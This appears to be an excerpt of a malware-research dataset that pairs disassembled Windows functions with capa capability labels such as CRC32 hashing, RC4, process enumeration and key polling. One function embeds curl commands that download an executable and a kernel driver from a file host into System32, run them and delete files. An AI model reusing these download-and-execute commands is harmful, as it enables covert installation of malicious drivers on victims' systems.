joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401b8fa0
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1401b8fb6
mov al, 1
jmp 0x1401b9016
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1401b8fc7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1401b9014
mov ecx, dword [rcx + 0x18]
nop
call fcn.14019851c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1401b9014
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1401b9014
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1401b9014
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1401b9016
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1401c1620
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rsi
push rdi
mov rdx, qword [rcx]
mov r9, qword [rcx + 8]
mov r8, r9
sub r8, rdx
je 0x14017f357
mov rax, r8
shr rax, 2
mov r10, rdx
not r10
add r10, r9
je 0x14017f32e
mov r10, r8
and r10, 0xfffffffffffffffe
xor r9d, r9d
lea r11, [0x140277fa0]
nop dword [rax + rax]
movzx esi, al
movzx edi, byte [rdx + r9]
xor edi, esi
shr eax, 8
xor eax, dword [r11 + rdi*4]
movzx esi, al
movzx edi, byte [rdx + r9 + 1]
xor edi, esi
shr eax, 8
xor eax, dword [r11 + rdi*4]
add r9, 2
cmp r10, r9
jne 0x14017f300
jmp 0x14017f331
xor r9d, r9d
test r8b, 1
je 0x14017f351
movzx r8d, al
movzx edx, byte [rdx + r9]
xor edx, r8d
lea r8, [0x140277fa0]
shr eax, 8
xor eax, dword [r8 + rdx*4]
mov dword [rcx + 0x18], eax
pop rdi
pop rsi
ret
xor eax, eax
jmp 0x14017f351
sub rsp, 0x28
movapd xmmword [rsp + 0x10], xmm7
movapd xmmword [rsp], xmm6
mov r11, qword [r8]
mov r10, qword [r8 + 8]
mov rax, r10
sub rax, r11
sar rax, 2
lea r9, [rax - 1]
cmp r9, 2
jb 0x1401c16f8
cvtsi2sd xmm0, ecx
cvtsi2sd xmm1, edx
add rax, 0xfffffffffffffffd
movq xmm2, rax
punpckldq xmm2, xmmword [0x140275010]
subpd xmm2, xmmword [0x140275020]
haddpd xmm2, xmm2
mov ecx, 1
movdqa xmm3, xmmword [0x140275010]
movapd xmm4, xmmword [0x140275020]
movsd xmm5, qword [0x14025ba70]
mov rdx, qword [r8]
mov r10, qword [r8 + 8]
sub r10, rdx
sar r10, 2
cmp r10, rcx
jbe 0x1401c171a
movq xmm6, rax
punpckldq xmm6, xmm3
subpd xmm6, xmm4
haddpd xmm6, xmm6
lea r10, [rcx - 1]
movq xmm7, r10
punpckldq xmm7, xmm3
subpd xmm7, xmm4
haddpd xmm7, xmm7
mulsd xmm6, xmm0
mulsd xmm7, xmm1
addsd xmm7, xmm6
divsd xmm7, xmm2
addsd xmm7, xmm5
cvttsd2si r10d, xmm7
mov dword [rdx + rcx*4], r10d
dec rax
inc rcx
cmp rcx, r9
jne 0x1401c1690
mov r11, qword [r8]
mov r10, qword [r8 + 8]
cmp r10, r11
je 0x1401c171d
mov dword [r10 - 4], 0x7fffffff
mov rcx, r8
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
add rsp, 0x28
jmp 0x14017f2c0
int3
int3

Function at 0x1401d3180
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
cmp rdx, r8
je 0x1401d31b7
movabs rcx, 0xf000000000000000
shl rax, 4
movsx r9, byte [rdx]
add r9, rax
mov r10, r9
and r10, rcx
mov rax, r10
shr rax, 0x38
or rax, r10
xor rax, r9
inc rdx
cmp rdx, r8
jne 0x1401d3191
ret
Function at 0x1401d3220
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
cmp rdx, r8
je 0x1401d3258
movabs rcx, 0xf000000000000000
shl rax, 4
movzx r9d, word [rdx]
add r9, rax
mov r10, r9
and r10, rcx
mov rax, r10
shr rax, 0x38
or rax, r10
xor rax, r9
add rdx, 2
cmp rdx, r8
jne 0x1401d3231
ret

Function at 0x1401d9360
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov rdi, r8
mov rsi, rdx
mov r15b, byte [rbp + 0x68]
test byte [r9 + 8], 1
jne 0x1401d93bf
movzx edx, word [rbp + 0x60]
movzx r8d, r15b
mov rax, qword [rcx]
mov rax, qword [rax + 0x30]
mov dword [rsp + 0x28], r8d
mov word [rsp + 0x20], dx
mov rdx, rsi
mov r8, rdi
call qword [case.0x1401e9be0.0]
mov rax, rsi
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov rax, qword [r9 + 0x30]
lea rbx, [rbp - 0x20]
mov qword [rbx], rax
mov qword [rbp - 8], rax
lock inc dword [rax + 8]
lea rdx, [0x1402ab840]
mov rcx, rbx
call fcn.14015cce0
mov r14, rax
mov eax, 0xffffffff
mov rcx, qword [rbp - 8]
lock xadd dword [rcx + 8], eax
test eax, eax
jne 0x1401d9403
mov rax, qword [rcx]
mov rax, qword [rax + 8]
call qword [case.0x1401e9be0.0]
movabs rax, 0xaaaaaaaaaaaaaaaa
mov qword [rbp - 0x10], rax
movaps xmm0, xmmword [0x140268c70]
movaps xmmword [rbp - 0x20], xmm0
mov rax, qword [r14]
xor r15b, 1
movzx ecx, r15b
mov rax, qword [rax + rcx*8 + 0x28]
mov rcx, r14
mov rdx, rbx
call qword [case.0x1401e9be0.0]
mov al, byte [rbp - 9]
test al, al
mov rcx, qword [rbp - 0x20]
mov r14, rbx
cmovs r14, rcx
jmp 0x1401d9474
mov qword [rsi], rdi
jmp 0x1401d93af
xor edi, edi
jmp 0x1401d9470
lea rdx, [rcx + 2]
mov qword [rdi + 0x30], rdx
mov word [rcx], ax
cmp ax, 0xffff
jne 0x1401d9469
xor edi, edi
mov al, byte [rbp - 9]
mov rcx, qword [rbp - 0x20]
add r14, 2
mov rdx, rbx
test al, al
cmovs rdx, rcx
js 0x1401d94b6
movzx r8d, al
lea rdx, [rdx + r8*2]
cmp r14, rdx
je 0x1401d944a
test rdi, rdi
je 0x1401d9452
movzx eax, word [r14]
mov rcx, qword [rdi + 0x30]
cmp rcx, qword [rdi + 0x38]
jne 0x1401d9456
mov rcx, qword [rdi]
mov r8, qword [rcx + 0x60]
mov rcx, rdi
mov edx, eax
mov rax, r8
call qword [case.0x1401e9be0.0]
jmp 0x1401d9461
mov r8, qword [rbp - 0x18]
lea rdx, [rdx + r8*2]
cmp r14, rdx
jne 0x1401d948c
mov qword [rsi], rdi
call fcn.14018039c
jmp 0x1401d93af
Function at 0x1401e9f90
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov ebx, r8d
mov edi, edx
mov rsi, rcx
mov rax, qword [0x140297028]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp byte [rcx + 8], 0
je 0x1401ea001
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, edi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x1401ea00b
mov dil, 1
test bl, bl
je 0x1401e9fea
cmp byte [rsi + 8], 0
je 0x1401ea006
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xea60
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1401830b0
mov eax, edi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, qword [rsi]
jmp 0x1401e9fbd
mov rcx, qword [rsi]
jmp 0x1401e9fdf
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [rsi + 8], 0
je 0x1401ea033
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xea60
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1401ea038
xor edi, edi
jmp 0x1401e9fea
mov rcx, qword [rsi]
jmp 0x1401ea020
mov dword [rsp + 0x24], 0xaaaaaaaa
cmp byte [rsi + 8], 0
je 0x1401ea05f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dil, 1
jmp 0x1401e9fea
mov rcx, qword [rsi]
jmp 0x1401ea04f

Function at 0x1401ed1f0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rsi
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
sub rdx, rax
je 0x1401ed233
mov r8, rdx
shr r8, 2
xor r9d, r9d
lea r10, [0x140277fa0]
movzx r11d, r8b
movzx esi, byte [rax + r9]
xor esi, r11d
shr r8d, 8
xor r8d, dword [r10 + rsi*4]
inc r9
cmp rdx, r9
jne 0x1401ed20e
cmp r8d, dword [rcx + 0x18]
sete al
pop rsi
ret
xor r8d, r8d
jmp 0x1401ed22a
Function at 0x1402268d0
Capabilities:
Query or enumerate registry value

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
mov rsi, r8
mov rax, qword [0x140297028]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov eax, 0xaaaaaaaa
lea rdi, [rsp + 0x44]
mov dword [rdi], eax
lea r8, [rsp + 0x40]
mov dword [r8], eax
lea rax, [rsp + 0x3c]
mov dword [rax], 4
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rdi]
xor ecx, 4
or ecx, eax
sete bl
jne 0x140226930
mov eax, dword [rsp + 0x40]
mov dword [rsi], eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1401830b0
mov eax, ebx
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret

Function at 0x1402269f0
Capabilities:
Get system information on windows

Disassembly:
push rsi
sub rsp, 0x1a0
mov rax, qword [0x140297028]
xor rax, rsp
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [0x140268c70]
lea rsi, [rsp + 0x160]
movaps xmmword [rsi + 0x20], xmm0
movaps xmmword [rsi + 0x10], xmm0
movaps xmmword [rsi], xmm0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsi + 0x20], 0x100
jb 0x140226a44
mov ecx, 1
call fcn.1400e83b0
test al, al
jne 0x140226a73
mov eax, dword [rsp + 0x180]
cmp eax, 0x100
mov esi, 0xff
cmovb esi, eax
mov rcx, qword [rsp + 0x198]
xor rcx, rsp
call fcn.1401830b0
mov eax, esi
add rsp, 0x1a0
pop rsi
ret
lea rdx, str....._third_partycrashpadcrashpad_snapshotwin_system_snapshot_win.cc
lea rsi, [rsp + 0x28]
mov rcx, rsi
mov r8d, 0x10a
mov r9d, 1
call fcn.140004b00
lea rcx, [rsp + 0x38]
lea rdx, str.dwNumberOfProcessors_exceeds_uint8_t_storage
mov r8d, 0x2c
call fcn.1401bd290
mov rcx, rsi
call fcn.140004bf0
jmp 0x140226a44
Function at 0x14000bb00
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x288
mov rax, qword [0x14095ee80]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14000bb8f
mov rdx, qword [rsp + 0x290]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x14000bb7c
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x38]
mov dword [0x14095fc80], eax
mov eax, dword [rsp + 0x38]
jmp 0x14000bb9c
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x14000bb4a
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400f1eb0
add rsp, 0x288
ret
Function at 0x1400128a0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x14095ee80]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.14000c030
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.140012e40
nop
lea rax, [0x140012490]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
call fcn.1400036a0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x14001294e
lea rcx, [rsp + 0x40]
call fcn.140016710
nop
jmp 0x140012965
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea rcx, [rsp + 0x40]
call fcn.140013fd0
nop
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400f1eb0
add rsp, 0x58
ret
Function at 0x140014b60
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x14095ee80]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xb0]
cmp qword [rax + 0x68], 0
je 0x140014b9d
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140014ba4
mov al, 1
jmp 0x140014cfc
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
call fcn.14000ad90
mov dword [rsp + 0x38], eax
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0x50]
mov dword [rsp + 0x3c], eax
call fcn.14000ad90
mov dword [rsp + 0x40], eax
mov edx, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x40]
call fcn.14000ada0
movzx eax, al
test eax, eax
je 0x140014bf9
xor al, al
jmp 0x140014cfc
mov qword [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0xb0]
add rcx, 0x74
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x70]
mov rdx, rcx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140014c69
cmp dword [rsp + 0x30], 1
je 0x140014c75
cmp dword [rsp + 0x30], 3
je 0x140014cea
jmp 0x140014cfa
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x140014cc1
mov rax, qword [rsp + 0xb0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x48]
mov edx, 1
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x48], rax
je 0x140014cc1
xor al, al
jmp 0x140014cfc
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140014cdb
mov dword [rsp + 0x34], 1
jmp 0x140014ce3
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x140014cfc
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140014cfc
xor al, al
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1400f1eb0
add rsp, 0xa8
ret

Function at 0x140015d80
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x38
mov ecx, 0x77
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x140015da0
mov byte [rsp + 0x20], 1
jmp 0x140015da5
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x140015de0
Capabilities:
Delete file
Execute command

Disassembly:
sub rsp, 0x88
mov edx, reloc.WLDAP32.dll_Ordinal_30
mov ecx, Ordinal_79
call fcn.140014970
lea rcx, str.color_c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rdx, str._n_Driver_not_loaded_n
lea rcx, [rsp + 0x20]
call fcn.1400041a0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rsp + 0x20]
call fcn.140016a70
nop
lea rcx, [rsp + 0x20]
call fcn.1400047d0
nop
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, reloc.WLDAP32.dll_Ordinal_30
mov ecx, Ordinal_79
call fcn.140014970
nop
lea rdx, str._n_Loading_driver..._n
lea rcx, [rsp + 0x40]
call fcn.1400041a0
nop
mov edx, Ordinal_26
lea rcx, [rsp + 0x40]
call fcn.140016a70
nop
lea rcx, [rsp + 0x40]
call fcn.1400047d0
nop
lea rcx, str.curl___silent_https:__files.catbox.moe_i7z05r.bin___output_C:WindowsSystem32dload.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_7n78yq.sys___output_C:WindowsSystem32drv.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_bv0es5.wav___output_C:Windows_audio.wav__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32dload.exe_C:WindowsSystem32drv.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rdx, str._n_n_n____loaded_driver
lea rcx, [rsp + 0x60]
call fcn.1400041a0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rsp + 0x60]
call fcn.140016a70
nop
lea rcx, [rsp + 0x60]
call fcn.1400047d0
nop
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32mappa.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32d.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x1400f98c4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
add rsp, 0x88
ret
Function at 0x140017070
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x14095ee80]
xor rax, rsp
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x90], 0
jg 0x1400170a4
xor eax, eax
jmp 0x1400172a1
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x68], 0
je 0x1400170d6
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x1400172a1
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jbe 0x140017188
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.140003ee0
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x88]
call fcn.140008e50
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
nop
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x80], 0
je 0x140017291
mov rcx, qword [rsp + 0x80]
call fcn.140015080
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x50], 0xfff
jbe 0x14001723e
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x28], 0xfff
je 0x140017239
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x1400172a1
jmp 0x1400171b4
cmp qword [rsp + 0x50], 0
jbe 0x140017291
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400f1eb0
add rsp, 0x78
ret
Function at 0x1400172c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x68], 0
je 0x1400172f9
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x1400173e8
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x50], 0
jle 0x140017390
cmp qword [rsp + 0x20], 0
jle 0x140017390
mov rax, qword [rsp + 0x20]
cmp qword [rsp + 0x50], rax
jge 0x140017339
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.140008e50
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
nop
cmp qword [rsp + 0x50], 0
jle 0x1400173d8
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x80], 0
je 0x1400173d8
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
sub rcx, rax
mov rax, rcx
add rsp, 0x38
ret